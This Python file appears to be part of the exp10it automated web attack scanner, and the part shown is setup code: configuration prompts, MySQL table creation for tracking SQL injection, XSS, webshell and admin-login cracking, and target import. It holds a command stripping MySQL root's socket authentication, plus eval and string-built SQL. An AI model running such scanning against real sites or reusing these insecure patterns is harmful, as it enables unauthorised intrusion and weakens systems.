exploit.py

import time
import pdb
import re
import os
import sys
exp10it_module_path = os.path.expanduser("~")+"/exp10it"
sys.path.insert(0, exp10it_module_path)
import warnings
from concurrent import futures
from urllib.parse import urlparse
from colorama import Fore
from exp10it import figlet2file
from exp10it import get_string_from_command
from exp10it import CLIOutput
from exp10it import get_key_value_from_config_file
from exp10it import update_config_file_key_value
from exp10it import check_string_is_ip
from exp10it import check_string_is_domain
from exp10it import get_input_intime
from exp10it import get_http_domain_from_url
from exp10it import MyThread
from exp10it import keep_session
from exp10it import get_root_domain
from exp10it import Xcdn
from exp10it import install_medusa
from exp10it import get_request
from exp10it import mail_msg_to
from exp10it import get_csrf_token_value_from_html
from exp10it import get_remain_time
from exp10it import get_string_from_url_or_picfile
from exp10it import get_user_and_pass_form_from_html
from exp10it import get_yanzhengma_form_and_src_from_url
from exp10it import get_url_has_csrf_token
from exp10it import get_value_from_url
from exp10it import get_server_type
from exp10it import jie_di_qi_crack_ext_direct_webshell_url
from exp10it import crack_ext_direct_webshell_url
from exp10it import get_ip_domains_list
from exp10it import get_ip
from exp10it import get_http_or_https
from exp10it import save_url_to_file
from exp10it import get_target_script_type
from exp10it import like_admin_login_content
from exp10it import module_exist
from exp10it import get_webshell_suffix_type
from exp10it import check_webshell_url
from exp10it import COMMON_NOT_WEB_PORT_LIST
from exp10it import post_request
from exp10it import seconds2hms
from exp10it import get_user_and_pass_form_from_url
import pymysql
pymysql.install_as_MySQLdb()


def scan_init():
    # 这个函数用于配置exp10itScanner要用到的参数
    global DB_NAME
    global DB_SERVER
    global DB_USER
    global DB_PASS
    global DELAY
    import os
    if not os.path.exists(CONFIG_PATH):
        os.system("mkdir %s" % CONFIG_PATH)
    if not os.path.exists(CONFIG_INI_PATH):
        os.system("touch %s" % CONFIG_INI_PATH)
    else:
        # 如果配置文件存在则不运行这个函数
        return
    with open(CONFIG_INI_PATH, 'r+') as f:
        content = f.read()

    # 下面配置BingAPI用于获取旁站的需要
    # 不再用bing接口查询旁站，因为bing关闭这个接口了
    '''
    if re.search(r"bingapikey", content):
        pass
    else:
        print("please input your bing api key:")
        key = input()
        update_config_file_key_value(CONFIG_INI_PATH, 'default', 'bingapikey', "'" + key + "'")
    '''

    # 下面配置邮件通知相关口令
    if re.search(r"mailto", content):
        mailto = eval(get_key_value_from_config_file(
            CONFIG_INI_PATH, 'mail', 'mailto'))
    else:
        mailto = input("please input email address you want send to:")
        update_config_file_key_value(
            CONFIG_INI_PATH, 'mail', 'mailto', "'" + mailto + "'")
    if re.search(r"user", content):
        user = eval(get_key_value_from_config_file(
            CONFIG_INI_PATH, 'mail', 'user'))
    else:
        user = input("please input your email account:")
        update_config_file_key_value(
            CONFIG_INI_PATH, 'mail', 'user', "'" + user + "'")
    if re.search(r"password", content):
        password = eval(get_key_value_from_config_file(
            CONFIG_INI_PATH, 'mail', 'password'))
    else:
        password = input("please input your email account password:")
        update_config_file_key_value(
            CONFIG_INI_PATH, 'mail', 'password', "'" + password + "'")

    # 下面配置数据库相关设置
    config_file_abs_path = CONFIG_INI_PATH
    while 1:
        DB_SERVER = input("please input your database server addr:>")
        if check_string_is_ip(DB_SERVER) or check_string_is_domain(DB_SERVER):
            update_config_file_key_value(config_file_abs_path, 'default',
                                         'DB_SERVER', "'" + DB_SERVER + "'")
            break
        else:
            print("your input may not be a regular ip addr:(")
            continue
        print("DB_SERVER:" + DB_SERVER)

    DB_USER = input("please input your database username:>")
    update_config_file_key_value(
        config_file_abs_path, 'default', 'DB_USER', "'" + DB_USER + "'")
    print("DB_USER:" + DB_USER)

    DB_PASS = input("please input your database password:>")
    update_config_file_key_value(
        config_file_abs_path, 'default', 'DB_PASS', "'" + DB_PASS + "'")
    print("DB_PASS:" + DB_PASS)

    # 下面配置全局扫描中的每两次访问的时间间隔,DELAY参数
    if re.search(r"DELAY", content):
        pass
    else:
        print(
            "please input your DELAY time (seconds) between every two requests [default 0]\n>")
        # 默认0s间隔
        DELAY = int(get_input_intime(0))
        update_config_file_key_value(
            config_file_abs_path, 'default', 'DELAY', int(DELAY))

    # 下面配置全局是否要求必须可连通google才工作,forcevpn参数
    if re.search(r"forcevpn", content):
        pass
    else:
        print('''Do you want to work with vpn connected(can visit google)?
input 0 if you don't want,
input 1 if you want
I suggest you input 1 unless you don't need cdn recgnization or don't care about the result of cdn recgnization''')
        #forcevpn = get_input_intime(1)
        forcevpn = input("> ")
        if forcevpn != "0":
            update_config_file_key_value(
                config_file_abs_path, 'default', 'forcevpn', 1)
        else:
            update_config_file_key_value(
                config_file_abs_path, 'default', 'forcevpn', int(forcevpn))

    # 下面配置扫描是否为"强制询问cookie"模式
    # 强制询问cookie模式要求用户手动选择是否输入cookie
    # 非强制询问cookie模式不要求用户手动选择是否输入cookie,默认选择不输入cookie
    # 两种模式最终都是使用更新后的配置文件中的cookie
    print("请选择使用什么模式:\n0.非强制询问cookie模式\n(非强制询问cookie模式不要求用户手动选择是否输入cookie,默认选择不输入cookie)\n1.\
强制询问cookie模式\n(强制询问cookie模式要求用户手动选择是否输入cookie)\n\n两种模式最终都是使用更新后的配置文件中的cookie")
    print("请输入你的选择 0 for 1,default 0")
    force_ask_cookie = get_input_intime(0)
    if force_ask_cookie != "1":
        update_config_file_key_value(
            config_file_abs_path, 'default', 'force_ask_cookie', 0)
    else:
        update_config_file_key_value(
            config_file_abs_path, 'default', 'force_ask_cookie', int(force_ask_cookie))


def scan_way_init():
    global SCAN_WAY
    exist_scan_way = 0
    if os.path.exists(CONFIG_INI_PATH):
        with open(CONFIG_INI_PATH, "r+") as f:
            config_file_string = f.read()
        if re.search("SCAN_WAY.*=\D*\d+", config_file_string, re.I):
            exist_scan_way = eval(get_key_value_from_config_file(
                CONFIG_INI_PATH, 'default', 'scan_way'))
            if exist_scan_way != 0:
                default_choose = exist_scan_way
        else:
            default_choose = 1
    else:
        default_choose = 1
    print('''1>scan targets and targets' pang domains
2>scan targets and targets' sub domains
3>scan targets and targets' pang domains and sub domains
4>scan targets without pang and without sub domains''')
    print("please input your chioce,default [%s]" % str(default_choose))
    #choose = get_input_intime(str(default_choose))
    choose = input("> ")

    if choose != str(default_choose):
        update_config_file_key_value(
            CONFIG_INI_PATH, 'default', 'SCAN_WAY', int(choose))
        SCAN_WAY = int(choose)
    else:
        update_config_file_key_value(
            CONFIG_INI_PATH, 'default', 'SCAN_WAY', default_choose)
        SCAN_WAY = default_choose


def get_start_url_urls_table(start_url):
    # eg.http://www.baidu.com --> www_baidu_com_urls
    # eg.http://www.baidu.com/ --> www_baidu_com_urls
    # eg.http://www.baidu.com/cms/ --> www_baidu_com_cms_urls
    # eg.http://www.baidu.com/1.php --> www_baidu_com_urls
    # eg.http://www.baidu.com/cms --> www_baidu_com_cms_urls
    # eg.http://www.baidu.com/cms/1.php --> www_baidu_com_cms_urls
    # eg.http://www.baidu.com:40711 --> www_baidu_com_40711_urls
    # eg.http://www.baidu.com:40711/cms/1.php --> www_baidu_com_40711_cms_urls

    parsed = urlparse(start_url)
    netloc = parsed.netloc
    path = parsed.path

    if path != "":
        if "." in path.split("/")[-1]:
            path_part_value = path[:-
                                   (len(path.split("/")[-1]) + 1)].replace("/", "_")
        elif path[-1] == "/":
            path_part_value = path[:-1].replace("/", "_")
        else:
            path_part_value = path.replace("/", "_")

    else:
        path_part_value = ""
    netloc_part_value = netloc.replace(".", "_").replace(":", "_")
    return netloc_part_value + path_part_value + "_urls"


def execute_sql_in_db(sql, db_name="mysql"):
    # 执行数据库命令
    # 返回值为fetchone()的返回值
    global DB_SERVER
    global DB_USER
    global DB_PASS
    #print("current sql string is:")
    # print(sql)

    try:
        import MySQLdb
    except:
        # for ubuntu16.04 deal with install MySQLdb error
        os.system("apt-get -y install libmysqlclient-dev")
        os.system("easy_install MySQL-python")
        os.system("pip3 install MySQLdb")
        import MySQLdb

    try:

        conn = MySQLdb.connect(
            DB_SERVER,
            DB_USER,
            DB_PASS,
            db=db_name,
            port=3306,
            charset="utf8"
        )
        conn.autocommit(1)
        cur = conn.cursor()
        cur.execute('SET NAMES utf8')

        #print("sql is:")
        # print(sql)
        cur.execute(sql)
        result = cur.fetchall()
        #print("result is:")
        # print(result)

        return result
    except:
        import traceback
        traceback.print_exc()
        # 发生错误回滚
        conn.rollback()
    finally:
        cur.close()
        conn.close()


def exist_database(db_name):
    # 检测DB_NAME名字的数据库是否存在
    # 存在返回True,否则返回False
    result = execute_sql_in_db("show databases")
    if len(result) > 0:
        for each in result:
            if len(each) > 0 and each[0] == db_name:
                return True
    return False


def exist_table_in_db(table_name, db_name):
    # 检测数据库中存在表,存在返回True,否则返回False
    result = execute_sql_in_db("show tables", db_name)
    if len(result) > 0:
        for each in result:
            if len(each) > 0 and each[0] == table_name:
                return True
    return False


def database_init():
    # 本地数据库初始化,完成数据库配置和建立数据(数据库和targets+first_targets表),以及目标导入
    # 完成这一步后需要从数据库中按优先级取出没有完成的任务
    # eg.一个目标为http://www.freebuf.com,将它加入到targets表中,targets表中的sqli_scaned等各项标记扫描完成列代
    # 表该目标及其所有旁站对应项的扫描全部完成,在www_freebuf_com_pang表中也有http_domain为
    # http://www.freebuf.com的记录,该表中对应的sqli_scaned等各项标记代表目标
    # http://www.freebuf.com这一个网站的扫描完成情况

    global DB_SERVER
    global DB_USER
    global DB_PASS
    global DB_NAME
    global TARGETS_TABLE_NAME
    global FIRST_TARGETS_TABLE_NAME
    global SCAN_WAY
    sys_info = get_string_from_command("uname -a")
    mysql_service_info = get_string_from_command("service mysql status")
    if re.search(r"kali", sys_info, re.I) and re.search(r"debian", sys_info, re.I):
        if re.search(r"dead", mysql_service_info, re.I):
            os.system("service mysql start")
            mysql_service_info = get_string_from_command("service mysql status")
            if re.search(r"dead", mysql_service_info, re.I):
                input(
                    "press any to exit your scan progress coz your mysql is not running,check your mysql service")
        # 下面是为了解决新版kali linux(2017.1)connect refused(无法修改root密码导致的)
        # 解决方法链接https://superuser.com/questions/949496/cant-reset-mysql-mariadb-root-password
        # 下面的双反斜杠在terminal中是不用双反斜杠的,但是在os.system中要多加一个反斜杠
        a = get_string_from_command(
            "echo select plugin from mysql.user where user=\\'root\\' | mysql")
        if re.search(r"unix_socket", a, re.I):
            # 下面的双反斜杠在terminal中是不用双反斜杠的,但是在os.system中要多加一个反斜杠
            os.system(
                "echo update mysql.user set plugin=\\'\\' where user=\\'root\\' | mysql")
            os.system("echo flush privileges | mysql")

    print("database init process,database and tables will be created here...")
    config_file_abs_path = CONFIG_INI_PATH
    if DB_SERVER == "":
        print("can not find DB_SERVER")
        while 1:
            print("please input your database server addr", end=' ')
            DB_SERVER = get_input_intime("127.0.0.1", 20)
            if check_string_is_ip(DB_SERVER) or check_string_is_domain(DB_SERVER):
                update_config_file_key_value(config_file_abs_path, 'default',
                                             'DB_SERVER', "'" + DB_SERVER + "'")
                break
            else:
                print(
                    "your input may not be a regular ip addr or a domain addr:(")
                continue
    print("DB_SERVER:" + DB_SERVER)

    if DB_USER == "":
        print("can not find DB_USER")
        print("please input your database username", end=' ')
        DB_USER = get_input_intime("root", 10)
        update_config_file_key_value(
            config_file_abs_path, 'default', 'DB_USER', "'" + DB_USER + "'")

    print("DB_USER:" + DB_USER)

    if DB_PASS == "":
        print("can not find DB_PASS")
        print("please input your database password", end=' ')
        DB_PASS = get_input_intime("root", 20)
        update_config_file_key_value(
            config_file_abs_path, 'default', 'DB_PASS', "'" + DB_PASS + "'")

    print("DB_PASS:" + DB_PASS)

    print("DB_NAME:" + DB_NAME)

    # 创建数据库DB_NAME和表TARGETS_TABLE_NAME,FIRST_TARGETS_TABLE_NAME,domain_pang
    sql0 = "create database %s" % DB_NAME
    if not exist_database(DB_NAME):
        execute_sql_in_db(sql0)
        execute_sql_in_db("ALTER DATABASE `%s` CHARACTER SET utf8" % DB_NAME)

    else:
        print("database exists,I will use the former database store tables")

    # 数据库中统一都用字符串形式存储各种数据

    # targets和first_targets表存放扫描是否完成信息和旁站列表和总的扫描结果
    # 这里的crawl_finished代表所有主要目标一个domain完成了爬虫
    #default_get_pang_value="0" if SCAN_WAY in [1,3] else "1"
    #default_get_sub_value="0" if SCAN_WAY in [2,3] else "1"
    sql1 = "create table `%s`(start_url varchar(200) not null primary key,http_domain  varchar(100) not null,domain varchar(50) not null,\
you_can_take_notes_in_this_column_for_your_own_pentest text not null comment '人工渗透时笔记列' default '',\
actual_ip_from_cdn_scan varchar(50) not null,\
cdn_scaned varchar(50) not null default 1,\
port_scan_info text not null,port_scaned varchar(50) not null default 1,\
risk_scan_info mediumtext not null,\
risk_scaned varchar(50) not null default 1,\
script_type varchar(50) not null,\
script_type_scaned varchar(50) not null default 1,\
dirb_info mediumtext not null,dirb_scaned varchar(50) not null default 1,\
sqlis text not null,sqli_scaned varchar(50) not null default 1,\
xsss text not null,xss_scaned varchar(50) not null default 1,\
robots_and_sitemap text not null,scan_result mediumtext not null,\
crawl_scaned varchar(50) not null default 1,\
cms_value text not null,cms_identify_scaned varchar(50) not null default 1,cms_scan_info text not null,cms_scaned varchar(50) not null default 1,\
like_admin_login_urls text not null,\
cracked_admin_login_urls_info text not null,like_webshell_urls text not null,\
cracked_webshell_urls_info text not null,\
crack_webshell_scaned varchar(50) not null default 1,\
crack_admin_page_scaned varchar(50) not null default 1,\
port_brute_crack_info text not null,port_brute_crack_scaned varchar(50) not null default 1,\
whois_info text not null,whois_scaned varchar(50) not null default 1,\
resource_files text not null,\
scan_finished varchar(50) not null default 0,\
get_pang_domains_finished varchar(50) not null default 1,\
get_sub_domains_finished varchar(50) not null default 1,\
pang_domains_crawl_scaned varchar(50) not null default 1,\
sub_domains_crawl_scaned varchar(50) not null default 1,\
pang_domains_cdn_scaned varchar(50) not null default 1,\
sub_domains_cdn_scaned varchar(50) not null default 1,\
pang_domains_risk_scaned varchar(50) not null default 1,\
sub_domains_risk_scaned varchar(50) not null default 1,\
pang_domains_script_type_scaned varchar(50) not null default 1,\
sub_domains_script_type_scaned varchar(50) not null default 1,\
pang_domains_dirb_scaned varchar(50) not null default 1,\
sub_domains_dirb_scaned varchar(50) not null default 1,\
pang_domains_sqli_scaned varchar(50) not null default 1,\
sub_domains_sqli_scaned varchar(50) not null default 1,\
pang_domains_xss_scaned varchar(50) not null default 1,\
sub_domains_xss_scaned varchar(50) not null default 1,\
pang_domains_cms_identify_scaned varchar(50) not null default 1,\
pang_domains_cms_scaned varchar(50) not null default 1,\
sub_domains_cms_identify_scaned varchar(50) not null default 1,\
sub_domains_cms_scaned varchar(50) not null default 1,\
pang_domains_crack_webshell_scaned varchar(50) not null default 1,\
sub_domains_crack_webshell_scaned varchar(50) not null default 1,\
pang_domains_crack_admin_page_scaned varchar(50) not null default 1,\
sub_domains_crack_admin_page_scaned varchar(50) not null default 1,\
pang_domains_port_scaned varchar(50) not null default 1,\
sub_domains_port_scaned varchar(50) not null default 1,\
pang_domains_port_brute_crack_scaned varchar(50) not null default 1,\
sub_domains_port_brute_crack_scaned varchar(50) not null default 1,\
pang_domains_whois_scaned varchar(50) not null default 1,\
sub_domains_whois_scaned varchar(50) not null default 1,\
pang_domains_scan_finished varchar(50) not null default 0,\
sub_domains_scan_finished varchar(50) not null default 0,\
final_scan_result mediumtext not null)" % TARGETS_TABLE_NAME

    sql2 = "create table `%s`(start_url varchar(200) not null primary key,http_domain  varchar(100) not null,domain varchar(50) not null,\
you_can_take_notes_in_this_column_for_your_own_pentest text not null comment '人工渗透时笔记列' default '',\
actual_ip_from_cdn_scan varchar(50) not null,\
cdn_scaned varchar(50) not null default 1,\
port_scan_info text not null,port_scaned varchar(50) not null default 1,\
risk_scan_info mediumtext not null,\
risk_scaned varchar(50) not null default 1,\
script_type varchar(50) not null,\
script_type_scaned varchar(50) not null default 1,\
dirb_info mediumtext not null,dirb_scaned varchar(50) not null default 1,\
sqlis text not null,sqli_scaned varchar(50) not null default 1,\
xsss text not null,xss_scaned varchar(50) not null default 1,\
robots_and_sitemap text not null,scan_result mediumtext not null,\
crawl_scaned varchar(50) not null default 1,\
cms_value text not null,cms_identify_scaned varchar(50) not null default 1,cms_scan_info text not null,cms_scaned varchar(50) not null default 1,\
like_admin_login_urls text not null,\
cracked_admin_login_urls_info text not null,like_webshell_urls text not null,\
cracked_webshell_urls_info text not null,\
crack_webshell_scaned varchar(50) not null default 1,\
crack_admin_page_scaned varchar(50) not null default 1,\
port_brute_crack_info text not null,port_brute_crack_scaned varchar(50) not null default 1,\
whois_info text not null,whois_scaned varchar(50) not null default 1,\
resource_files text not null,\
scan_finished varchar(50) not null default 0,\
get_pang_domains_finished varchar(50) not null default 1,\
get_sub_domains_finished varchar(50) not null default 1,\
pang_domains_crawl_scaned varchar(50) not null default 1,\
sub_domains_crawl_scaned varchar(50) not null default 1,\
pang_domains_risk_scaned varchar(50) not null default 1,\
sub_domains_risk_scaned varchar(50) not null default 1,\
pang_domains_cdn_scaned varchar(50) not null default 1,\
sub_domains_cdn_scaned varchar(50) not null default 1,\
pang_domains_script_type_scaned varchar(50) not null default 1,\
sub_domains_script_type_scaned varchar(50) not null default 1,\
pang_domains_dirb_scaned varchar(50) not null default 1,\
sub_domains_dirb_scaned varchar(50) not null default 1,\
pang_domains_sqli_scaned varchar(50) not null default 1,\
sub_domains_sqli_scaned varchar(50) not null default 1,\
pang_domains_xss_scaned varchar(50) not null default 1,\
sub_domains_xss_scaned varchar(50) not null default 1,\
pang_domains_cms_identify_scaned varchar(50) not null default 1,\
pang_domains_cms_scaned varchar(50) not null default 1,\
sub_domains_cms_identify_scaned varchar(50) not null default 1,\
sub_domains_cms_scaned varchar(50) not null default 1,\
pang_domains_crack_webshell_scaned varchar(50) not null default 1,\
sub_domains_crack_webshell_scaned varchar(50) not null default 1,\
pang_domains_crack_admin_page_scaned varchar(50) not null default 1,\
sub_domains_crack_admin_page_scaned varchar(50) not null default 1,\
pang_domains_port_scaned varchar(50) not null default 1,\
sub_domains_port_scaned varchar(50) not null default 1,\
pang_domains_port_brute_crack_scaned varchar(50) not null default 1,\
sub_domains_port_brute_crack_scaned varchar(50) not null default 1,\
pang_domains_whois_scaned varchar(50) not null default 1,\
sub_domains_whois_scaned varchar(50) not null default 1,\
pang_domains_scan_finished varchar(50) not null default 0,\
sub_domains_scan_finished varchar(50) not null default 0,\
final_scan_result mediumtext not null)" % FIRST_TARGETS_TABLE_NAME

    # print sql1
    if not exist_table_in_db(TARGETS_TABLE_NAME, DB_NAME):
        execute_sql_in_db(sql1, DB_NAME)
    else:
        print("TARGETS_TABLE_NAME exists,I will use the former one to store info")
    if not exist_table_in_db(FIRST_TARGETS_TABLE_NAME, DB_NAME):
        execute_sql_in_db(sql2, DB_NAME)
    else:
        print("FIRST_TARGETS_TABLE_NAME exists,I will use the former one to store info")

    # 目标导入并根据选择的扫描模式创建目标旁站表或子站表
    print(
        "input your targets now,make sure your targets are web app entries[eg.http://www.onlyhasdvwasite.com/dvwa/]...")
    print("input 'a|A' for adding your targets one by one\n\
input 'f|F' for adding your target by loading a target file\n\
input 'n|N' for adding no targets and use the exists targets in former db\n\
Attention! Make sure your input url is a cms entry,eg.'http://192.168.1.1/dvwa' or 'http://192.168.1.1/dvwa/'")
    #choose = get_input_intime('n', 10)
    choose = input("> ")

    if choose == 'f' or choose == 'F':
        targets_file_abs_path = input("Please input your targets file\n:>")
        with open(targets_file_abs_path, "r+") as f:
            for start_url in f:
                start_url = re.sub(r"(\s)$", "", start_url)
                target = get_http_domain_from_url(start_url)

                print('''你想要随便扫描还是认真的扫描?
输入y|Y选择随便扫描,不要求输入cookie
输入n|N选择认真扫描,要求输入用户登录后的cookie
默认随便扫描,default[y]''')
                tmpchoose = get_input_intime('y', 2)
                if tmpchoose in ['n', 'N']:
                    cookie = input(
                        "please input your cookie for %s\n>" % start_url)
                else:
                    cookie = ""
                update_config_file_key_value(
                    config_file_abs_path, start_url, 'cookie', "'" + cookie + "'")

                # 保持session不失效
                if cookie != "":
                    keep_session_thread = MyThread(
                        keep_session, (start_url, cookie))
                    keep_session_thread.start()

                print("已更新配置文件中的cookie,如果你之后想更新cookie,可直接在配置文件中修改")

                # 创建目标旁站表,比目标表少了pang_domains字段和sub_domains字段
                domain_value = target.split("/")[-1]
                domain_is_ip = False
                if re.match(r"(\d+\.){3}\d+", domain_value):
                    domain_is_ip = True
                pang_table_name = domain_value.replace(".", "_") + "_pang"
                # 创建目标子站表,比目标表少了pang_domains字段和sub_domains字段
                sub_table_name = domain_value.replace(".", "_") + "_sub"
                # 这里的crawl_scaned代表一个站(pang or sub)完成了爬虫

                sql_pang = "create table `%s`(http_domain  varchar(100) not null primary key,domain varchar(50) not null,\
you_can_take_notes_in_this_column_for_your_own_pentest text not null comment '人工渗透时笔记列' default '',\
actual_ip_from_cdn_scan varchar(50) not null,\
cdn_scaned varchar(50) not null default 1,\
port_scan_info text not null,port_scaned varchar(50) not null default 1,\
risk_scan_info mediumtext not null,\
risk_scaned varchar(50) not null default 1,\
script_type varchar(50) not null,\
script_type_scaned varchar(50) not null default 1,\
dirb_info mediumtext not null,dirb_scaned varchar(50) not null default 1,\
sqlis text not null, sqli_scaned varchar(50) not null default 1,\
xsss text not null, xss_scaned varchar(50) not null default 1,\
crawl_scaned varchar(50) not null default 1,\
cms_value text not null,cms_identify_scaned varchar(50) not null default 1,cms_scan_info text not null,cms_scaned varchar(50) not null default 1,\
like_admin_login_urls text not null,\
cracked_admin_login_urls_info text not null, like_webshell_urls text not null,\
cracked_webshell_urls_info text not null,\
crack_webshell_scaned varchar(50) not null default 1,\
crack_admin_page_scaned varchar(50) not null default 1,\
port_brute_crack_info text not null,port_brute_crack_scaned varchar(50) not null default 1,\
whois_info text not null,whois_scaned varchar(50) not null default 1,\
resource_files text not null,\
robots_and_sitemap text not null, scan_result mediumtext not null,\
scan_finished varchar(50) not null default 0)" % pang_table_name

                sql_sub = "create table `%s`(http_domain  varchar(100) not null primary key,domain varchar(50) not null,\
you_can_take_notes_in_this_column_for_your_own_pentest text not null comment '人工渗透时笔记列' default '',\
actual_ip_from_cdn_scan varchar(50) not null,\
cdn_scaned varchar(50) not null default 1,\
port_scan_info text not null,port_scaned varchar(50) not null default 1,\
risk_scan_info mediumtext not null,\
risk_scaned varchar(50) not null default 1,\
script_type varchar(50) not null,\
script_type_scaned varchar(50) not null default 1,\
dirb_info mediumtext not null,dirb_scaned varchar(50) not null default 1,\
sqlis text not null, sqli_scaned varchar(50) not null default 1,\
xsss text not null, xss_scaned varchar(50) not null default 1,\
crawl_scaned varchar(50) not null default 1,\
cms_value text not null,cms_identify_scaned varchar(50) not null default 1,cms_scan_info text not null,cms_scaned varchar(50) not null default 1,\
like_admin_login_urls text not null,\
cracked_admin_login_urls_info text not null, like_webshell_urls text not null,\
cracked_webshell_urls_info text not null,\
crack_webshell_scaned varchar(50) not null default 1,\
crack_admin_page_scaned varchar(50) not null default 1,\
port_brute_crack_info text not null,port_brute_crack_scaned varchar(50) not null default 1,\
whois_info text not null,whois_scaned varchar(50) not null default 1,\
resource_files text not null,\
robots_and_sitemap text not null, scan_result mediumtext not null,\
scan_finished varchar(50) not null default 0)" % sub_table_name

                # 这里改成无论何种扫描方式都建立sub表,因为爬虫模块会爬到子站,将爬到的子站放到sub表中对应字段中
                # 这里改成无论何种扫描方式都建立pang表,因为后面可能有对pang表的访问
                if SCAN_WAY in [1, 2, 3, 4]:
                    if not domain_is_ip:
                        # 如果domain是ip的格式则不建domain_pang和domain_sub表
                        execute_sql_in_db(sql_pang, DB_NAME)
                        execute_sql_in_db(sql_sub, DB_NAME)
                    else:
                        # domain是ip格式
                        if SCAN_WAY in [1, 2, 3]:
                            input(
                                "If the domain is ip format and SCAN_WAY is not 4,I will skip this target.Press any key to continue")
                            continue
                else:
                    print("SCAN_WAY setup error,not in 1-4")

                # 创建目标urls表.eg:www_baidu_com_urls
                target_urls_table_name = get_start_url_urls_table(start_url)
                sql = "create table `%s`(url varchar(250) not null primary key,code varchar(10) not null,\
title varchar(100) not null,content mediumtext not null,has_sqli varchar(50) not null,\
is_upload_url varchar(50) not null,\
like_webshell_url varchar(50) not null default 0,\
cracked_webshell_url_info varchar(50) not null,\
like_admin_login_url varchar(50) not null,\
cracked_admin_login_url_info varchar(50) not null,\
http_domain varchar(70) not null)" % target_urls_table_name
                execute_sql_in_db(sql, DB_NAME)

        print(
            "do you want to add it to the first targets table with higher priority to scan? y|n\
default[n]")
        choose = get_input_intime('n', 10)
        if choose == 'y' or choose == 'Y':
            with open(targets_file_abs_path, "r+") as f:
                for start_url in f:
                    start_url = re.sub(r"(\s)$", "", start_url)
                    target = get_http_domain_from_url(start_url)
                    sql3 = "insert into `%s`(start_url,http_domain,domain) values('%s','%s','%s')" % (
                        FIRST_TARGETS_TABLE_NAME, start_url, target, target.split("/")[-1])
                    execute_sql_in_db(sql3, DB_NAME)
        else:
            with open(targets_file_abs_path, "r+") as f:
                for start_url in f:
                    start_url = re.sub(r"(\s)$", "", start_url)
                    target = get_http_domain_from_url(start_url)
                    sql3 = "insert into `%s`(start_url,http_domain,domain) values('%s','%s','%s')" % (
                        TARGETS_TABLE_NAME, start_url, target, target.split('/')[-1])
                    execute_sql_in_db(sql3, DB_NAME)

    elif choose == 'a' or choose == 'A':
        while 1:
            print(
                "please input your targets,eg.https://www.baidu.com,'d|D' for done,default[d]")
            start_url = input()
            if len(start_url) == 0:
                start_url = 'd'
            if start_url != 'd' and start_url != 'D' and re.match(
                    r"http.*", start_url):
                print(
                    "do you want to add it to the first targets table with higher priority to scan? y|n\
default[n]")
                choose = get_input_intime('n', 10)
                target = get_http_domain_from_url(start_url)
                print("你想要随便扫描还是认真的扫描,随便扫描不要求输入cookie,认真扫描要求输入用户登录后的cookie,输入y|Y选\
择随便扫描,n|N选择认真扫描,默认随便扫描,default[y]")
                tmpchoose = get_input_intime('y')
                if tmpchoose in ['n', 'N']:
                    cookie = input(
                        "please input your cookie for %s\n>" % start_url)
                else:
                    cookie = ""
                update_config_file_key_value(
                    config_file_abs_path, start_url, 'cookie', "'" + cookie + "'")

                # 保持session不失效
                if cookie != "":
                    keep_session_thread = MyThread(
                        keep_session, (target, cookie))
                    keep_session_thread.start()

                print("已更新配置文件中的cookie,如果你之后想更新cookie,可直接在配置文件中修改")

                # 创建目标旁站表,比目标表少了pang_domains字段和sub_domains字段
                domain_value = target.split('/')[-1]
                domain_is_ip = False
                if re.match(r"(\d+\.){3}\d+", domain_value):
                    domain_is_ip = True
                pang_table_name = domain_value.replace(".", "_") + "_pang"
                # 创建目标子站表,比目标表少了pang_domains字段和sub_domains字段
                sub_table_name = domain_value.replace(".", "_") + "_sub"
                # 这里的crawl_scaned代表一个站(pang or sub)完成了爬虫
                sql_pang = "create table `%s`(http_domain  varchar(100) not null primary key,domain varchar(50) not null,\
you_can_take_notes_in_this_column_for_your_own_pentest text not null comment '人工渗透时笔记列' default '',\
actual_ip_from_cdn_scan varchar(50) not null,\
cdn_scaned varchar(50) not null default 1,\
port_scan_info text not null,port_scaned varchar(50) not null default 1,\
risk_scan_info mediumtext not null,\
risk_scaned varchar(50) not null default 1,\
script_type varchar(50) not null,\
script_type_scaned varchar(50) not null default 1,\
dirb_info mediumtext not null,dirb_scaned varchar(50) not null default 1,\
sqlis text not null,sqli_scaned varchar(50) not null default 1,\
xsss text not null,xss_scaned varchar(50) not null default 1,\
crawl_scaned varchar(50) not null default 1,\
cms_value text not null,cms_identify_scaned varchar(50) not null default 1,cms_scan_info text not null,cms_scaned varchar(50) not null default 1,\
like_admin_login_urls text not null,\
cracked_admin_login_urls_info text not null,like_webshell_urls text not null,\
cracked_webshell_urls_info text not null,\
crack_webshell_scaned varchar(50) not null default 1,\
crack_admin_page_scaned varchar(50) not null default 1,\
port_brute_crack_info text not null,port_brute_crack_scaned varchar(50) not null default 1,\
whois_info text not null,whois_scaned varchar(50) not null default 1,\
resource_files text not null,\
robots_and_sitemap text not null,scan_result mediumtext not null,\
scan_finished varchar(50) not null default 0)" % pang_table_name

                sql_sub = "create table `%s`(http_domain  varchar(100) not null primary key,domain varchar(50) not null,\
you_can_take_notes_in_this_column_for_your_own_pentest text not null comment '人工渗透时笔记列' default '',\
actual_ip_from_cdn_scan varchar(50) not null,\
cdn_scaned varchar(50) not null default 1,\
port_scan_info text not null,port_scaned varchar(50) not null default 1,\
risk_scan_info mediumtext not null,\
risk_scaned varchar(50) not null default 1,\
script_type varchar(50) not null,\
script_type_scaned varchar(50) not null default 1,\
dirb_info mediumtext not null,dirb_scaned varchar(50) not null default 1,\
sqlis text not null, sqli_scaned varchar(50) not null default 1,\
xsss text not null, xss_scaned varchar(50) not null default 1,\
crawl_scaned varchar(50) not null default 1,\
cms_value text not null,cms_identify_scaned varchar(50) not null default 1,cms_scan_info text not null,cms_scaned varchar(50) not null default 1,\
like_admin_login_urls text not null,\
cracked_admin_login_urls_info text not null, like_webshell_urls text not null,\
cracked_webshell_urls_info text not null,\
crack_webshell_scaned varchar(50) not null default 1,\
crack_admin_page_scaned varchar(50) not null default 1,\
port_brute_crack_info text not null,port_brute_crack_scaned varchar(50) not null default 1,\
whois_info text not null,whois_scaned varchar(50) not null default 1,\
resource_files text not null,\
robots_and_sitemap text not null, scan_result mediumtext not null,\
scan_finished varchar(50) not null default 0)" % sub_table_name

                # 这里改成无论何种扫描方式都建立sub表,因为爬虫模块会爬到子站,将爬到的子站放到sub表中对应字段中
                # 这里改成无论何种扫描方式都建立pang表,因为后面可能有对pang表的访问
                SCAN_WAY = eval(get_key_value_from_config_file(
                    CONFIG_INI_PATH, 'default', 'scan_way'))
                if SCAN_WAY in [1, 2, 3, 4]:
                    if not domain_is_ip:
                        execute_sql_in_db(sql_pang, DB_NAME)
